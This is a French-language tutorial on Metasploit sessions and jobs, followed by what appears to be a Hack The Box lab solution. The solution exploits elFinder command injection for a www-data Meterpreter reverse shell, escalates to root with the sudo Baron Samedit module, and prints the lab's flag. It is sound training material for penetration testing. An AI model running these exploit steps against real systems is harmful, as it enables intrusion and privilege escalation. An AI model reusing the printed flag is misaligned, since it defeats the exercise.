# Sessions

MSFconsole permet de gérer plusieurs modules simultanément grâce aux **Sessions**, offrant ainsi une grande flexibilité. Chaque session crée une interface de contrôle dédiée pour les modules déployés.

### 🔹 Utilisation des Sessions

Pendant l'exécution d'exploits ou de modules auxiliaires dans msfconsole, il est possible de mettre une session en arrière-plan (background) si elle maintient un canal de communication avec la cible. Cela peut se faire par :

* La combinaison de touches `[CTRL] + [Z]`
* La commande `background` (pour les stages Meterpreter)

Une confirmation est demandée, puis le prompt `msf6 >` est restauré et un autre module peut être lancé.

### 📋 Listing des Sessions Actives

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

### 🔗 Interaction avec une Session

Pour interagir avec une session spécifique :

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

Cela est utile pour lancer un autre module sur un système déjà compromis avec un canal stable.

### 🔄 Modules Post-Exploitation

Les modules post-exploitation (post) permettent de :

* Collecter des identifiants
* Suggérer des exploits locaux
* Scanner le réseau interne

Une session active peut être utilisée pour exécuter ces modules en arrière-plan.

### 🛠️ Gestion des Jobs

Si un exploit actif bloque un port nécessaire pour un autre module, il est préférable de gérer les jobs plutôt que d'interrompre la session.

#### Affichage de l'aide des Jobs

```bash
msf6 exploit(multi/handler) > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:
    -K        Terminate all running jobs.
    -P        Persist all running jobs on restart.
    -S <opt>  Row search filter.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate jobs by job ID and/or range.
    -l        List all running jobs.
    -p <opt>  Add persistence to job by job ID
    -v        Print more detailed info.  Use with -i and -l
```

#### Lancer un Exploit en arrière-plan

```bash
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.34:4444
```

#### Listing et gestion des Jobs

```bash
msf6 exploit(multi/handler) > jobs -l

Jobs
====

 Id  Name                    Payload                    Payload opts
 --  ----                    -------                    ------------
 0   Exploit: multi/handler  generic/shell_reverse_tcp  tcp://10.10.14.34:4444
```

Pour tuer un job spécifique : `kill [index]`\
Pour tuer tous les jobs : `jobs -K`

***

Cette gestion des sessions et des jobs est essentielle pour travailler efficacement sur plusieurs cibles et modules simultanément dans Metasploit.

***

> The target has a specific web application running that we can find by looking into the HTML source code. What is the name of that web application?

L'analyse du code source du serveur Web de notre cible nous permet d'identifier la présence de l'application ***elFinder*** :&#x20;

<figure><img src="https://428993362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMFND1xZe6YAGbm2iLxIv%2Fuploads%2FkW5uqM5kLYd9IUKQpfKB%2Fimage.png?alt=media&#x26;token=e3e8a510-c60f-48cb-a2fb-12104657099b" alt=""><figcaption></figcaption></figure>

***

> Find the existing exploit in MSF and use it to get a shell on the target. What is the username of the user you obtained a shell with?

Dans un premier temps, nous exécutons **Metasploit** :&#x20;

```bash
msfconsole
```

Une fois ceci effectué, nous recherchons des exploits en lien avec l'application Web utilisée relevée plus tôt :&#x20;

```bash
[msf](Jobs:0 Agents:0) >> search elFinder

Matching Modules
================

   #  Name                                                               Disclosure Date  Rank       Check  Description
   -  ----                                                               ---------------  ----       -----  -----------
   0  exploit/multi/http/builderengine_upload_exec                       2016-09-18       excellent  Yes    BuilderEngine Arbitrary File Upload Vulnerability and execution
   1  exploit/unix/webapp/tikiwiki_upload_exec                           2016-07-11       excellent  Yes    Tiki Wiki Unauthenticated File Upload Vulnerability
   2  exploit/multi/http/wp_file_manager_rce                             2020-09-09       normal     Yes    WordPress File Manager Unauthenticated Remote Code Execution
   3  exploit/linux/http/elfinder_archive_cmd_injection                  2021-06-13       excellent  Yes    elFinder Archive Command Injection
   4  exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection  2019-02-26       excellent  Yes    elFinder PHP Connector exiftran Command Injection


Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
```

Nous pouvons observer différents modules disponibles. Dans notre cas, nous allons utiliser le module numéro 3 et le configurer :&#x20;

```bash
[msf](Jobs:0 Agents:0) >> use 3
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(linux/http/elfinder_archive_cmd_injection) >> set rhosts 10.129.203.52
rhosts => 10.129.203.52

[msf](Jobs:0 Agents:0) exploit(linux/http/elfinder_archive_cmd_injection) >> set lhost 10.10.14.151
lhost => 10.10.14.151
```

Une fois les différents éléments renseignés dans notre exploit, nous pouvons l'executer afin d'établir une connexion à notre cible :&#x20;

```bash
[msf](Jobs:0 Agents:0) exploit(linux/http/elfinder_archive_cmd_injection) >> run

[*] Started reverse TCP handler on 10.10.14.151:4444 
[...]
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Server stopped.

(Meterpreter 1)(/var/www/html/files) > 
```

Une fois la connexion effective, nous pouvons relever le nom d'utilisateur sur lequel nous sommes connecté une fois l'exploit exécuté à l'aide le la commande `getuid` :&#x20;

```bash
(Meterpreter 1)(/var/www/html/files) > getuid
Server username: www-data
```

Le nom d'utilisateur actuel est donc ***www-data.***

***

> The target system has an old version of Sudo running. Find the relevant exploit and get root access to the target system. Find the flag.txt file and submit the contents of it as the answer.

Dans un premier temps, nous mettons notre session actuelle en arrière plan :&#x20;

```bash
(Meterpreter 1)(/var/www/html/files) > background
[*] Backgrounding session 1...
```

Une fois la sessions en arrière plan, nous pouvons effectuer des recherches d'exploits en lien avec sudo :&#x20;

```
[msf](Jobs:0 Agents:1) exploit(linux/http/elfinder_archive_cmd_injection) >> search sudo

Matching Modules
================

   #   Name                                                                       Disclosure Date  Rank       Check  Description
   -   ----                                                                       ---------------  ----       -----  -----------
   0   exploit/linux/misc/accellion_fta_mpipe2                                    2011-02-07       excellent  No     Accellion FTA MPIPE2 Command Execution
   1   payload/cmd/unix/adduser                                                   .                normal     No     Add user with useradd
   [...]
   60  exploit/linux/local/sudo_baron_samedit                                     2021-01-26       excellent  Yes    Sudo Heap-Based Buffer Overflow

Interact with a module by name or index. For example info 94, use 94 or use exploit/linux/local/vcenter_sudo_lpe
```

Nous sélectionnons alors le module qui correspond le plus à nos besoins, ici, le module numéro 60.\
Une fois choisi, nous pouvons observer les différentes options disponibles concernant ce module :&#x20;

```bash
[msf](Jobs:0 Agents:1) exploit(linux/http/elfinder_archive_cmd_injection) >> use 60
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:1) exploit(linux/local/sudo_baron_samedit) >> options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  85.9.214.158     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Parmis les différentes options possibles, nous allons ajouter le numéro de notre **session** mise en arrière plan, ainsi que l'adresse IP de notre machine actuelle en tant que **LHOST**.

Afin d'obtenir le numéro de la session mise en arrière plan, nous utilisons la commande sessions :&#x20;

```bash
[msf](Jobs:0 Agents:1) exploit(linux/local/sudo_baron_samedit) >> sessions

Active sessions
===============

  Id  Name  Type                   Information               Connection
  --  ----  ----                   -----------               ----------
  1         meterpreter x86/linux  www-data @ 10.129.203.52  10.10.14.151:4444 -> 10.129.203.52:54514 (10.129.203.52)
```

Le numéro de notre session en cours est alors le numéro 1.\
Nous configurons notre module en conséquence :&#x20;

```bash
[msf](Jobs:0 Agents:1) exploit(linux/local/sudo_baron_samedit) >> set session 1
session => 1

[msf](Jobs:0 Agents:1) exploit(linux/local/sudo_baron_samedit) >> set lhost 10.10.14.151
lhost => 10.10.14.151
```

Nous pouvons alors exécuter notre exploit et vérifier que nous sommes connectés en tant que ***root*** :&#x20;

```bash
[msf](Jobs:0 Agents:1) exploit(linux/local/sudo_baron_samedit) >> run
[*] Started reverse TCP handler on 10.10.14.151:4444 
[...]
[*] Meterpreter session 2 opened (10.10.14.151:4444 -> 10.129.203.52:54688) at 2025-08-23 09:21:09 -0500

(Meterpreter 2)(/tmp) > getuid
Server username: root
```

Une fois la connexion effective, nous affichons le contenu du fichier ***flag.txt*** :&#x20;

```
(Meterpreter 2)(/tmp) > search -f flag.txt
Found 1 result...
=================

Path            Size (bytes)  Modified (UTC)
----            ------------  --------------
/root/flag.txt  24            2022-05-16 10:18:40 -0500

(Meterpreter 2)(/tmp) > cat /root/flag.txt 
HTB{5e55ion5_4r3_sw33t}
```

Nous pouvons donc observer le flag attendu :&#x20;

```
HTB{5e55ion5_4r3_sw33t}
```

***
